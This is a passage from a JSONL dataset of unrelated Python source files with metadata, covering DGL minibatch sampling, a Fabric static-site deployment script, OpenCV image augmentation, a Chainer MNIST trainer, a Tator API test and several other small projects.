10)\n >>> negative_tails = torch.stack((heads + 1, heads + 2), dim=-1)\n >>> item_set = gb.ItemSet((heads, tails, negative_tails))\n >>> minibatch_sampler = gb.MinibatchSampler(item_set, 3)\n >>> list(minibatch_sampler)\n [[tensor([0, 1, 2]), tensor([5, 6, 7]),\n tensor([[1, 2], [2, 3], [3, 4]])],\n [tensor([3, 4]), tensor([8, 9]), tensor([[4, 5], [5, 6]])]]\n\n 5. DGLGraphs.\n >>> import dgl\n >>> graphs = [ dgl.rand_graph(10, 20) for _ in range(5) ]\n >>> item_set = gb.ItemSet(graphs)\n >>> minibatch_sampler = gb.MinibatchSampler(item_set, 3)\n >>> list(minibatch_sampler)\n [Graph(num_nodes=30, num_edges=60,\n ndata_schemes={}\n edata_schemes={}),\n Graph(num_nodes=20, num_edges=40,\n ndata_schemes={}\n edata_schemes={})]\n\n 6. Further process batches with other datapipes such as\n `torchdata.datapipes.iter.Mapper`.\n >>> item_set = gb.ItemSet(torch.arange(0, 10))\n >>> data_pipe = gb.MinibatchSampler(item_set, 4)\n >>> def add_one(batch):\n ... return batch + 1\n >>> data_pipe = data_pipe.map(add_one)\n >>> list(data_pipe)\n [tensor([1, 2, 3, 4]), tensor([5, 6, 7, 8]), tensor([ 9, 10])]\n\n 7. Heterogeneous node IDs.\n >>> ids = {\n ... \"user\": gb.ItemSet(torch.arange(0, 5)),\n ... \"item\": gb.ItemSet(torch.arange(0, 6)),\n ... }\n >>> item_set = gb.ItemSetDict(ids)\n >>> minibatch_sampler = gb.MinibatchSampler(item_set, 4)\n >>> list(minibatch_sampler)\n [{'user': tensor([0, 1, 2, 3])},\n {'item': tensor([0, 1, 2]), 'user': tensor([4])},\n {'item': tensor([3, 4, 5])}]\n\n 8. Heterogeneous node pairs.\n >>> node_pairs_like = (torch.arange(0, 5), torch.arange(0, 5))\n >>> node_pairs_follow = (torch.arange(0, 6), torch.arange(6, 12))\n >>> item_set = gb.ItemSetDict({\n ... \"user:like:item\": gb.ItemSet(node_pairs_like),\n ... \"user:follow:user\": gb.ItemSet(node_pairs_follow),\n ... })\n >>> minibatch_sampler = gb.MinibatchSampler(item_set, 4)\n >>> list(minibatch_sampler)\n [{\"user:like:item\": [tensor([0, 1, 2, 3]), tensor([0, 1, 2, 3])]},\n {\"user:like:item\": [tensor([4]), tensor([4])],\n \"user:follow:user\": [tensor([0, 1, 2]), tensor([6, 7, 8])]},\n {\"user:follow:user\": [tensor([3, 4, 5]), tensor([ 9, 10, 11])]}]\n\n 9. Heterogeneous node pairs and labels.\n >>> like = (\n ... torch.arange(0, 5), torch.arange(0, 5), torch.arange(0, 5))\n >>> follow = (\n ... torch.arange(0, 6), torch.arange(6, 12), torch.arange(0, 6))\n >>> item_set = gb.ItemSetDict({\n ... \"user:like:item\": gb.ItemSet(like),\n ... \"user:follow:user\": gb.ItemSet(follow),\n ... })\n >>> minibatch_sampler = gb.MinibatchSampler(item_set, 4)\n >>> list(minibatch_sampler)\n [{\"user:like:item\":\n [tensor([0, 1, 2, 3]), tensor([0, 1, 2, 3]), tensor([0, 1, 2, 3])]},\n {\"user:like:item\": [tensor([4]), tensor([4]), tensor([4])],\n \"user:follow:user\":\n [tensor([0, 1, 2]), tensor([6, 7, 8]), tensor([0, 1, 2])]},\n {\"user:follow:user\":\n [tensor([3, 4, 5]), tensor([ 9, 10, 11]), tensor([3, 4, 5])]}]\n\n 10. Heterogeneous head, tail and negative tails.\n >>> like = (\n ... torch.arange(0, 5), torch.arange(0, 5),\n ... torch.arange(5, 15).reshape(-1, 2))\n >>> follow = (\n ... torch.arange(0, 6), torch.arange(6, 12),\n ... torch.arange(12, 24).reshape(-1, 2))\n >>> item_set = gb.ItemSetDict({\n ... \"user:like:item\": gb.ItemSet(like),\n ... \"user:follow:user\": gb.ItemSet(follow),\n ... })\n >>> minibatch_sampler = gb.MinibatchSampler(item_set, 4)\n >>> list(minibatch_sampler)\n [{\"user:like:item\": [tensor([0, 1, 2, 3]), tensor([0, 1, 2, 3]),\n tensor([[ 5, 6], [ 7, 8], [ 9, 10], [11, 12]])]},\n {\"user:like:item\": [tensor([4]), tensor([4]), tensor([[13, 14]])],\n \"user:follow:user\": [tensor([0, 1, 2]), tensor([6, 7, 8]),\n tensor([[12, 13], [14, 15], [16, 17]])]},\n {\"user:follow:user\": [tensor([3, 4, 5]), tensor([ 9, 10, 11]),\n tensor([[18, 19], [20, 21], [22, 23]])]}]\n \"\"\"\n\n def __init__(\n self,\n item_set: ItemSet or ItemSetDict,\n batch_size: int,\n drop_last: Optional[bool] = False,\n shuffle: Optional[bool] = False,\n ) -> None:\n super().__init__()\n self._item_set = item_set\n self._batch_size = batch_size\n self._drop_last = drop_last\n self._shuffle = shuffle\n\n def __iter__(self) -> Iterator:\n data_pipe = IterableWrapper(self._item_set)\n # Shuffle before batch.\n if self._shuffle:\n # `torchdata.datapipes.iter.Shuffler` works with stream too.\n # To ensure randomness, make sure the buffer size is at least 10\n # times the batch size.\n buffer_size = max(10000, 10 * self._batch_size)\n data_pipe = data_pipe.shuffle(buffer_size=buffer_size)\n\n # Batch.\n data_pipe = data_pipe.batch(\n batch_size=self._batch_size,\n drop_last=self._drop_last,\n )\n\n # Collate.\n def _collate(batch):\n data = next(iter(batch))\n if isinstance(data, DGLGraph):\n return dgl_batch(batch)\n elif isinstance(data, Mapping):\n assert len(data) == 1, \"Only one type of data is allowed.\"\n # Collect all the keys.\n keys = {key for item in batch for key in item.keys()}\n # Collate each key.\n return {\n key: default_collate(\n [item[key] for item in batch if key in item]\n )\n for key in keys\n }\n return default_collate(batch)\n\n data_pipe = data_pipe.collate(collate_fn=partial(_collate))\n\n return iter(data_pipe)\n","sub_path":"python/dgl/graphbolt/minibatch_sampler.py","file_name":"minibatch_sampler.py","file_ext":"py","file_size_in_byte":8276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"549565541","text":"#!/usr/bin/python3\n\"\"\"Deployment module\"\"\"\nfrom fabric.api import run, put, env, local\nfrom fabric.decorators import runs_once\nimport os\nfrom datetime import datetime\n\nenv.hosts = ['54.209.237.101', '52.91.236.242']\n\n\n@runs_once\ndef do_pack():\n \"\"\"compress all files in web_static folder into archive\"\"\"\n local(\"sudo mkdir -p versions\")\n tar_cmd2 = datetime.now().__format__(\"%Y%m%d%H%M%S\")\n tar_cmd1 = \"tar czfv web_static_\"\n tar_cmd3 = \".tgz web_static\"\n local(tar_cmd1 + tar_cmd2 + tar_cmd3)\n archive_file_name = \"web_static_\" + tar_cmd2 + \".tgz\"\n new_name = \"./versions/\" + archive_file_name\n try:\n local(\"sudo mv \" + archive_file_name + \" \" + new_name)\n except:\n return(None)\n return(\"./versions/\" + archive_file_name)\n\n\ndef do_deploy(archive_path):\n \"\"\" uploads archive to web server\"\"\"\n try:\n put(archive_path, \"/tmp/\")\n a, b = archive_path.find(\"web_static_\"), archive_path.find(\".tgz\")\n filename = archive_path[a:b]\n mkdir_cmd = \"sudo mkdir -p /data/web_static/releases/\" + filename\n run(mkdir_cmd)\n tar_cmd = \"sudo tar -xzf /tmp/\" + filename + \".tgz -C \"\n tar_cmd = tar_cmd + \"/data/web_static/releases/\" + filename + \"/\"\n run(tar_cmd)\n run(\"sudo rm /tmp/\" + filename + \".tgz\")\n run(\"sudo rm -rf /data/web_static/current\")\n rename1 = \"sudo mv /data/web_static/releases/\" + filename\n rename2 = \"/web_static/* /data/web_static/releases/\" + filename + \"/\"\n run(rename1 + rename2)\n newlink1 = \"sudo ln -s /data/web_static/releases/\" + filename + \"/\"\n newlink2 = \" /data/web_static/current\"\n run(newlink1 + newlink2)\n return(True)\n except:\n return(False)\n\n\ndef deploy():\n \"\"\"Zips and transmits and deploys current website\"\"\"\n archive_path = do_pack()\n if archive_path is None:\n return(False)\n return(do_deploy(archive_path))\n","sub_path":"3-deploy_web_static.py","file_name":"3-deploy_web_static.py","file_ext":"py","file_size_in_byte":1931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"80803107","text":"# задача вероятности\n\nfrom pack import init_pack\nfrom statistics import median\n\ndef check(a, b, c ): # метод проверяет на равенство три переменные\n if a == b == c:\n return True\n else:\n return False\n\ndef count_attempts(mode, attempts_num):\n pack1 = init_pack()\n pack2 = init_pack()\n pack3 = init_pack()\n count_list = [] # список, содержащий количество сдач до результата\n\n for i in range(attempts_num):\n count = 0\n while True:\n\n card1, is_empty1 = pack1(1)\n card2, is_empty2 = pack2(1)\n card3, is_empty3 = pack3(1)\n count += 1\n if is_empty1: # проверяем не пусты ли колоды, если пусты, то генерируем новые\n pack1 = init_pack()\n pack2 = init_pack()\n pack3 = init_pack()\n else:\n\n if mode == 'a':\n if check(card1[0].get_color(), card2[0].get_color(), card3[0].get_color()):\n count_list.append(count)\n break\n\n if mode == 'b':\n if check(card1[0].get_num(), card2[0].get_num(), card3[0].get_num()):\n count_list.append(count)\n break\n\n if mode == 'c':\n if check(card1[0].get_weight(), card2[0].get_weight(), card3[0].get_weight()):\n count_list.append(count)\n break\n\n if mode == 'd':\n if check(card1[0], card2[0], card3[0]):\n count_list.append(count)\n break\n\n return count_list\n\n\nn = 100 # задаём число повтарений для статистики\nprint('Для карт одинаковой масти (случай а)\\nМедианное количество попыток до результата при при n = ', n, ' - ', median(count_attempts('a',n)))\nprint('Для карт с одинаковым значением(случай б)\\nМедианное количество попыток до результата при при n = ', n, ' - ', median(count_attempts('b',n)))\nprint('Для карт с одинаковым весом (случай в)\\nМедианное количество попыток до результата при при n = ', n, ' - ', median(count_attempts('c',n)))\n\n# слишком мала вероятность для последнего случая\n# print('Для карт с одинаковым весом (случай г)\\nМедианное количество попыток до резултата при при n = ', n, ' - ', median(count_attempts('d',n)))","sub_path":"class 6/probability.py","file_name":"probability.py","file_ext":"py","file_size_in_byte":2864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"467280338","text":"\"\"\"\n---------------------------------------------------------------------------\n PROGRAM DISCRIPTION\n---------------------------------------------------------------------------\nThis program will be responsible for preprocessing input images to increase\nthe accuracy of the image recognition and shorten the execution time.\nThe open source library OpenCV is used for the image processing.\n\"\"\"\nfrom cv2 import cv2\nimport os\n\n\nclass ImageProcess:\n \"\"\" IMAGE PROCESS CLASS \"\"\"\n\n def resize(self, image):\n \"\"\" RESIZE FUNCTION \"\"\"\n resized = cv2.resize(image, (150, 150))\n return resized\n\n def square(self, image):\n \"\"\" SQURE FUNCTION \"\"\"\n height = image.shape[0]\n width = image.shape[1]\n white = [255, 255, 255]\n\n if height != width:\n if height > width:\n dif = height - width\n squared = cv2.copyMakeBorder(image, 0, 0, int(dif/2), int(dif/2), cv2.BORDER_CONSTANT, value=white)\n # print(squared.shape)\n return squared \n else:\n dif = width - height\n squared = cv2.copyMakeBorder(image, int(dif/2), int(dif/2), 0, 0, cv2.BORDER_CONSTANT, value=white)\n # print(squared.shape)\n return squared\n else:\n return image\n\n def grayscale(self, image):\n \"\"\" GRAYSCALE FUNCTION \"\"\"\n\n grayscale = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\n return grayscale\n\n def nDegreeRotation(self, image, degree):\n \"\"\" NDEGREEROTATION FUNCTION \"\"\"\n (rows,cols) = image.shape[:2]\n\n matrix = cv2.getRotationMatrix2D((cols/2, rows/2), degree, 1)\n rotation = cv2.warpAffine(image, matrix, (cols, rows), borderValue=(255, 255, 255))\n\n return rotation\n\n def rotation(self, image):\n \"\"\" ROTATION FUNCTION \"\"\"\n degree = 45\n imageList = []\n\n while degree != 300:\n imageList.append(self.nDegreeRotation(image, degree)) \n degree -= 15\n if(degree == -15):\n degree = 345\n\n return imageList\n\n def dataset_augmentation(self):\n labels = os.listdir(\"dataset_original\")\n for i in range(len(labels)):\n pics = os.listdir(f\"dataset_original/{labels[i]}\")\n for j in range(len(pics)):\n path = f\"dataset_original/{labels[i]}/{pics[j]}\"\n pic = cv2.imread(path)\n pic = self.square(pic)\n pic = self.grayscale(pic)\n pic = self.resize(pic)\n images = self.rotation(pic)\n for index, image in enumerate(images):\n # Change test_images to dataset for the actual image recognition use\n cv2.imwrite(f\"dataset/{labels[i]}/{labels[i]}_{(j * 6) + index}.jpg\", image)\n\nif __name__ == '__main__':\n \n sampleImage = cv2.imread(\"dataset_original/treadmill/treadmill_004.jpg\")\n sampleGreyscaleImage = cv2.imread(\"dataset_original/dumbbell/dumbbell_004.jpg\")\n\n print(sampleImage.shape)\n test = ImageProcess()\n \n \"\"\"\n # Square Test\n squared = test.square(sampleImage)\n\n # Grayscale Test\n grayscale = test.grayscale(sampleGreyscaleImage)\n\n # Rotation test\n rotation = test.rotation(sampleImage)\n\n cv2.imwrite(\"test_images/sample.jpg\", squared)\n cv2.imwrite(\"test_images/grayscaled.jpg\", grayscale)\n\n for index, image in enumerate(rotation):\n cv2.imwrite(\"test_images/rotation\" + str(index) + \".jpg\", image)\n \"\"\"\n\n test.dataset_augmentation()\n","sub_path":"containerized/image_process.py","file_name":"image_process.py","file_ext":"py","file_size_in_byte":3603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"367721440","text":"from sys import argv\n\nimport grpc\n\nimport blink_pb2\nimport blink_pb2_grpc\n\nchannel = grpc.insecure_channel('localhost:50051')\nstub = blink_pb2_grpc.Wifi_ServiceStub(channel)\n\nif argv[1]==\"getAccessPoints\":\n\tresponse = stub.Wifi_GetAccessPoints(blink_pb2.Wifi_GetAccessPoints_Request())\n\tprint (response.accessPoint)\nelif argv[1]==\"getConnections\":\n\tresponse = stub.Wifi_GetConnections(blink_pb2.Wifi_GetConnections_Request())\n\tprint (response.wifiConnection)\nelif argv[1]==\"connect\":\n\tstub.Wifi_Connect(blink_pb2.Wifi_Connect_Request(id=argv[2]))\nelif argv[1]==\"addConnection\":\n\tstub.Wifi_AddConnection(blink_pb2.Wifi_AddConnection_Request(id=argv[2], ssid=argv[3], psk=argv[4], persistent=bool(argv[5])))\nelif argv[1]==\"autoConnect\":\n\tstub.Wifi_SetAutoConnect(blink_pb2.Wifi_SetAutoConnect_Request(value=bool(argv[2])))\nelse:\n\tprint(\"Error, call format is wifiExample method [value(s)]\")\n\n","sub_path":"examples/python/wifiExample/wifi.py","file_name":"wifi.py","file_ext":"py","file_size_in_byte":890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"469265419","text":"from threading import Thread\r\nfrom tkinter import END\r\nfrom copy import deepcopy\r\nfrom re import finditer\r\nfrom time import time\r\n\r\nclass Colorir():\r\n def __init__(self, cor_do_comando, dic_comandos):\r\n self.cor_do_comando = cor_do_comando\r\n self.dic_comandos = dic_comandos\r\n self.tx_codfc = None\r\n self.tela = None\r\n self.historico_coloracao = []\r\n self.lista_todos_coloracao = []\r\n\r\n def alterar_cor_comando(self, novo_cor_do_comando):\r\n self.cor_do_comando = novo_cor_do_comando\r\n\r\n def __realiza_coloracao(self, palavra, linha, valor1, valor2, cor):\r\n linha1 = '{}.{}'.format(linha, valor1)\r\n linha2 = '{}.{}'.format(linha, valor2)\r\n\r\n self.tx_codfc.tag_add(palavra, linha1, linha2)\r\n self.tx_codfc.tag_config(palavra, foreground=cor)\r\n\r\n self.tela.update()\r\n\r\n def __marcar_coloracao(self, regex, lista, linha, palavra, cor):\r\n\r\n for valor in finditer(regex, lista[linha]):\r\n\r\n inici_regex = valor.start()\r\n final_regex = valor.end()\r\n\r\n usado = cor + str(palavra) + str(regex) + str(inici_regex) + str(final_regex) + str(linha+1)\r\n\r\n self.historico_coloracao.append(usado)\r\n Colorir.__realiza_coloracao(self, str(usado), str(linha + 1), inici_regex, final_regex, cor)\r\n\r\n if usado not in self.lista_todos_coloracao:\r\n self.lista_todos_coloracao.append(usado)\r\n\r\n\r\n def __filtrar_palavras(palavra):\r\n palavra_comando = palavra.replace('+', '\\\\+')\r\n palavra_comando = palavra_comando.replace('/', '\\\\/')\r\n palavra_comando = palavra_comando.replace('*', '\\\\*')\r\n palavra_comando = palavra_comando.replace(' ', '\\\\s*')\r\n\r\n return palavra_comando\r\n\r\n def __colorir_comandos(self, lista_linhas):\r\n for chave_comando, dicionario_comandos in self.dic_comandos.items():\r\n cor = self.cor_do_comando[ dicionario_comandos[\"cor\"] ][\"foreground\"]\r\n\r\n for comando in dicionario_comandos[\"comando\"]:\r\n\r\n palavra_analise = comando[0].strip()\r\n\r\n if palavra_analise == \"\": continue\r\n\r\n palavra_comando = Colorir.__filtrar_palavras(palavra_analise)\r\n regex = '(^|\\\\s){}(\\\\s|$)'.format(palavra_comando)\r\n\r\n for linha in range(len(lista_linhas)):\r\n Colorir.__marcar_coloracao(self, regex, lista_linhas, linha, palavra_comando, cor)\r\n\r\n\r\n def __colorir_especial(self, lista):\r\n\r\n for linha in range(len(lista)):\r\n\r\n regex_comentario = '(#|\\\\/\\\\/).*$'\r\n regex_numerico = '(^|\\\\s|\\\\,)([0-9\\\\.]\\\\s*){1,}($|\\\\s|\\\\,)'\r\n regex_string = \"\"\"\\\"[^\"]*\\\"\"\"\"\r\n\r\n cor_comentario = self.cor_do_comando[\"comentario\"][\"foreground\"]\r\n cor_numerico = self.cor_do_comando[\"numerico\"][\"foreground\"]\r\n cor_string = self.cor_do_comando[\"string\"][\"foreground\"]\r\n\r\n Colorir.__marcar_coloracao(self, regex_numerico,lista,linha,'numerico',cor_numerico)\r\n Colorir.__marcar_coloracao(self, regex_string, lista, linha, '\"', cor_string)\r\n Colorir.__marcar_coloracao(self, regex_comentario, lista, linha, 'comentario', cor_comentario)\r\n\r\n\r\n def coordena_coloracao(self, event, tx_codfc):\r\n self.tx_codfc = tx_codfc\r\n\r\n lista_linhas = self.tx_codfc.get(1.0, END).lower().split('\\n')\r\n\r\n self.historico_coloracao = []\r\n\r\n Colorir.__colorir_comandos(self, lista_linhas)\r\n Colorir.__colorir_especial(self, lista_linhas)\r\n\r\n for palavra_nao_colorida in self.lista_todos_coloracao:\r\n if palavra_nao_colorida not in self.historico_coloracao:\r\n self.tx_codfc.tag_delete(palavra_nao_colorida)\r\n self.lista_todos_coloracao.remove(palavra_nao_colorida)\r\n\r\n if self.tela is not None:\r\n self.tela.update()\r\n\r\n return 0\r\n","sub_path":"libs/colorir.py","file_name":"colorir.py","file_ext":"py","file_size_in_byte":3948,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"503479290","text":"from scm_optimization.integer_dual_balancing import DualBalancing\nfrom random import random\nfrom scm_optimization.model import *\nfrom scipy.optimize import minimize, bisect, minimize_scalar\nfrom dual_balancing_extension.simulation import Hospital_LA_MDP\nimport pandas as pd\nimport pickle\nimport sys\ntime.time()\n\nif __name__ == \"__main__\":\n start_time = time.time()\n print(sys.argv)\n \n rep = int(sys.argv[1]) if len(sys.argv) > 1 else 0\n\n backlogging_cost = int(sys.argv[2]) if len(sys.argv) > 1 else 1000\n info = int(sys.argv[3]) if len(sys.argv) > 1 else 0\n binom_usage_n = int(sys.argv[4]) if len(sys.argv) == 5 else 0\n\n lead_time = 0\n\n results = pd.DataFrame()\n\n holding_cost = 1\n setup_cost = 0\n unit_price = 0\n gamma = 1\n\n usage_model = PoissonUsageModel(scale=1, trunk=1e-3)\n results_fn = \"la_results/la_results_b_{}_{}_r_{}.csv\".format(str(backlogging_cost),\n str(info),\n str(rep)\n )\n\n if binom_usage_n:\n print(\"Binomial case: n=\", binom_usage_n)\n usage_model = BinomUsageModel(n=binom_usage_n, p=1 / binom_usage_n)\n results_fn = \"la_binomial_usage_results/la_results_b_{}_n_{}_{}_r_{}.csv\".format(str(backlogging_cost),\n str(binom_usage_n),\n str(info),\n str(rep)\n )\n\n info_state_rvs = [pacal.ConstDistr(0)] * info + \\\n [pacal.BinomialDistr(10, 0.5)]\n\n model = DualBalancing(gamma,\n lead_time,\n info_state_rvs,\n holding_cost,\n backlogging_cost,\n setup_cost,\n unit_price,\n usage_model=usage_model)\n\n print(\"backlogging cost:\", backlogging_cost, \" info: \", info, \" rep: \", rep)\n\n hospital = Hospital_LA_MDP(la_model=model, periods=21)\n hospital.run()\n\n result = {\n \"info\": info,\n \"backlogging_cost\": backlogging_cost,\n \"rep\": rep,\n \"cost_la\": hospital.cost_incurred_la,\n \"backlog_cost_incurred_la\": hospital.backlog_cost_incurred_la,\n \"holding_cost_incurred_la\": hospital.holding_cost_incurred_la,\n\n \"cost_mdp\": hospital.cost_incurred_mdp,\n \"backlog_cost_incurred_mdp\": hospital.backlog_cost_incurred_mdp,\n \"holding_cost_incurred_mdp\": hospital.holding_cost_incurred_mdp,\n\n \"schedule\": hospital.schedule,\n \"demand\": hospital.demand,\n \"order_la\": hospital.order_la,\n \"inventory_la\": hospital.inventory_level_la,\n \"order_mdp\": hospital.order_mdp,\n \"order_upto\": hospital.order_up_to_mdp,\n \"inventory_mdp\": hospital.inventory_level_mdp,\n\n \"run_time_min\": (time.time() - start_time)/60\n }\n if binom_usage_n:\n result[\"binomial_n\"] = binom_usage_n\n result[\"binomial_p\"] = 1 / binom_usage_n,\n results = results.append(result, ignore_index = True)\n print(results)\n results.to_csv(results_fn)\n\n","sub_path":"dual_balancing_extension/run_la_sim_args.py","file_name":"run_la_sim_args.py","file_ext":"py","file_size_in_byte":3464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"77013244","text":"import datetime\nimport random\nimport uuid\nimport time\n\nimport tator\nfrom ._common import assert_close_enough\n\ndef random_localization(project, box_type, video_obj, post=False):\n x = random.uniform(0.0, 1.0)\n y = random.uniform(0.0, 1.0)\n w = random.uniform(0.0, 1.0 - x)\n h = random.uniform(0.0, 1.0 - y)\n attributes = {\n 'test_bool': random.choice([False, True]),\n 'test_int': random.randint(-1000, 1000),\n 'test_float': random.uniform(-1000.0, 1000.0),\n 'test_enum': random.choice(['a', 'b', 'c']),\n 'test_string': str(uuid.uuid1()),\n 'test_datetime': datetime.datetime.now().isoformat(),\n 'test_geopos': [random.uniform(-180.0, 180.0), random.uniform(-90.0, 90.0)],\n }\n out = {\n 'x': x,\n 'y': y,\n 'width': w,\n 'height': h,\n 'project': project,\n 'type': box_type,\n 'media_id': video_obj.id,\n 'frame': random.randint(0, video_obj.num_frames - 1),\n }\n if post:\n out = {**out, **attributes}\n else:\n out['attributes'] = attributes\n return out\n\ndef test_localization_crud(host, token, project, video_type, video, box_type):\n tator_api = tator.get_api(host, token)\n video_obj = tator_api.get_media(video)\n\n # These fields will not be checked for object equivalence after patch.\n exclude = ['project', 'type', 'media_id', 'id', 'meta', 'user']\n\n # Test bulk create.\n num_localizations = random.randint(2000, 10000)\n boxes = [\n random_localization(project, box_type, video_obj, post=True)\n for _ in range(num_localizations)\n ]\n box_ids = []\n for response in tator.util.chunked_create(tator_api.create_localization_list,\n project, localization_spec=boxes):\n box_ids += response.id\n assert len(box_ids) == len(boxes)\n print(f\"Created {len(box_ids)} boxes!\")\n\n # Test single create.\n box = random_localization(project, box_type, video_obj, post=True)\n response = tator_api.create_localization_list(project, localization_spec=[box])\n assert isinstance(response, tator.models.CreateListResponse)\n box_id = response.id[0]\n\n # Patch single box.\n patch = random_localization(project, box_type, video_obj)\n response = tator_api.update_localization(box_id, localization_update=patch)\n assert isinstance(response, tator.models.MessageResponse)\n print(response.message)\n\n # Get single box.\n updated_box = tator_api.get_localization(box_id)\n assert_close_enough(patch, updated_box, exclude)\n \n # Delete single box.\n response = tator_api.delete_localization(box_id)\n assert isinstance(response, tator.models.MessageResponse)\n print(response.message)\n\n # ES can be slow at indexing so wait for a bit.\n time.sleep(5)\n\n # Bulk update box attributes.\n bulk_patch = random_localization(project, box_type, video_obj)\n bulk_patch = {'attributes': bulk_patch['attributes']}\n params = {'media_id': [video], 'type': box_type}\n response = tator_api.update_localization_list(project, **params,\n attribute_bulk_update=bulk_patch)\n assert isinstance(response, tator.models.MessageResponse)\n print(response.message)\n\n # Verify all boxes have been updated.\n boxes = tator_api.get_localization_list(project, **params)\n dataframe = tator.util.to_dataframe(boxes)\n assert(len(boxes)==len(dataframe))\n for box in boxes:\n assert_close_enough(bulk_patch, box, exclude)\n \n # Delete all boxes.\n response = tator_api.delete_localization_list(project, **params)\n assert isinstance(response, tator.models.MessageResponse)\n time.sleep(1)\n\n # Verify all boxes are gone.\n boxes = tator_api.get_localization_list(project, **params)\n assert boxes == []\n","sub_path":"test/test_localization.py","file_name":"test_localization.py","file_ext":"py","file_size_in_byte":3826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"565610420","text":"# coding: utf-8\n\nimport os\nimport random\nimport re\n\nimport numpy as np\nimport chainer\nfrom chainer import Chain, Variable\nimport chainer.functions as F\nimport chainer.links as L\n\n\n\nclass NeuralNet(chainer.Chain):\n def __init__(self, n_units, n_out):\n initializer = chainer.initializers.HeNormal()\n # initializer = chainer.initializers.Constant(0.5)\n super().__init__(\n l1=L.Linear(None, n_units, initialW=initializer),\n l2=L.Linear(n_units, n_units, initialW=initializer),\n l3=L.Linear(n_units, n_out, initialW=initializer),\n )\n # super().__init__(\n # l1=L.Linear(None, n_units ),\n # l2=L.Linear(n_units, n_units ),\n # l3=L.Linear(n_units, n_out ),\n # )\n\n\n def __call__(self, x):\n # h1 = F.relu(self.l1(x))\n # h2 = F.relu(self.l2(h1))\n activate_func = F.leaky_relu\n h1 = activate_func(self.l1(x))\n h2 = activate_func(self.l2(h1))\n return self.l3(h2)\n\ndef check_accuracy(model, xs, ts):\n ys = model(xs)\n loss = F.softmax_cross_entropy(ys, ts)\n ys = np.argmax(ys.data, axis=1)\n cors = (ys == ts)\n num_cors = sum(cors)\n accuracy = num_cors / ts.shape[0]\n return accuracy, loss\n\ndef set_random_seed(seed):\n # set Python random seed\n random.seed(seed)\n\n # set NumPy random seed\n np.random.seed(seed)\n\n # set Chainer(CuPy) random seed \n if chainer.cuda.available:\n chainer.cuda.cupy.random.seed(seed)\n print(\"seed = \", seed )\n return\n\n \n\ndef train( model, model_save_dir,\n xs, ts, txs, tts ):\n epoch_num = 20\n bn = 100\n # optimizer = chainer.optimizers.SGD(lr=0.01)\n optimizer = chainer.optimizers.Adam()\n optimizer.setup(model)\n if not os.path.exists( model_save_dir ):\n os.mkdir( model_save_dir )\n best_acc = None \n itr_num = len(xs) // bn\n for i in range(epoch_num):\n for j in range(itr_num):\n start, end = j * bn, (j + 1) * bn\n x = xs[start:end]\n t = ts[start:end]\n t = Variable(np.array(t, \"i\")) # int 値に変換.\n\n y = model(x)\n loss = F.softmax_cross_entropy(y, t)\n \n # model.zerograds()\n model.cleargrads()\n loss.backward()\n optimizer.update()\n\n accuracy_train, loss_train = check_accuracy(model, xs, ts)\n accuracy_test, loss_test = check_accuracy(model, txs, tts)\n if best_acc == None or best_acc < accuracy_test:\n best_acc = accuracy_test\n save_path = os.path.join( model_save_dir, \"my_model_%d.npz\" % i )\n chainer.serializers.save_npz( save_path, model, compression=True)\n output_str = \\\n \"Epoch %d\\n loss(train) = %.8f, accuracy(train) = %.8f\\n loss(test) = %.8f, accuracy(test) = %.8f\" \\\n % (i + 1,\n loss_train.data, accuracy_train, loss_test.data, accuracy_test )\n\n print( output_str )\n # print(model.l1.W.array[0][300] )\n #exit(1)\n print( \"best_acc = \", best_acc)\n return\n\ndef predict( model_save_dir, weight_name,\n model, txs, tts ):\n weight_path = os.path.join( model_save_dir, weight_name )\n chainer.serializers.load_npz( weight_path, model )\n accuracy_test, loss_test = check_accuracy( model, txs, tts)\n output_str = \\\n \"loss = %.8f, accuracy = %.8f\" % ( loss_test.data, accuracy_test )\n print( output_str )\n return\n\ndef get_best_weight_path( model_save_dir ):\n best_itr = None\n p = re.compile(r\"my_model_(\\d+)\\.npz\")\n for fname in os.listdir(model_save_dir):\n m = p.match(fname)\n if m:\n itr = int(m.group(1))\n if best_itr == None or best_itr < itr:\n best_itr = itr\n if best_itr:\n return \"my_model_\" + str(best_itr) + \".npz\"\n else:\n return None\n\ndef main( is_train ):\n model_save_dir = \"save_dir\"\n n_units, n_out = 50, 10\n seed = 1\n set_random_seed(seed) # network 作成前にシードを設定する必要がある.\n model = NeuralNet( n_units, n_out )\n train_data, test_data = chainer.datasets.get_mnist()\n xs, ts = train_data._datasets\n txs, tts = test_data._datasets\n \n if is_train:\n train( model, model_save_dir,\n xs, ts, txs, tts )\n else:\n weight_name = get_best_weight_path( model_save_dir )\n print( \"weight_name = \", weight_name )\n predict( model_save_dir, weight_name,\n model, txs, tts )\n return\n\nif __name__ == '__main__':\n # is_train = True\n is_train = False\n main(is_train)\n\n","sub_path":"chainer_test.py","file_name":"chainer_test.py","file_ext":"py","file_size_in_byte":4642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"99789889","text":"# -*- coding: utf-8 -*-\nfrom odoo import api, fields, models\nfrom odoo.exceptions import UserError\n\nclass ResAssemble(models.Model):\n _name = 'res.assemble'\n _inherit = ['mail.thread']\n _order = 'id desc'\n _description = 'Product Assemble'\n\n material_id = fields.One2many('assemble.materials','assemble_id','Materials', readonly=True, states={'draft': [('readonly', False)]})\n name = fields.Char(string='Reference', required=True, copy=False, readonly=True, states={'draft': [('readonly', True)]}, index=True, default='New')\n product_id = fields.Many2one('product.template', 'Product',readonly=True, states={'draft': [('readonly', False)]})\n product_product_id = fields.Many2one('product.product', compute='_compute_product_id', string='Product (2)')\n quantity_pro = fields.Integer('Quantity',readonly=True, states={'draft': [('readonly', False)]},default=1)\n date_assemble = fields.Date('Date',readonly=True, states={'draft': [('readonly', False)]}, 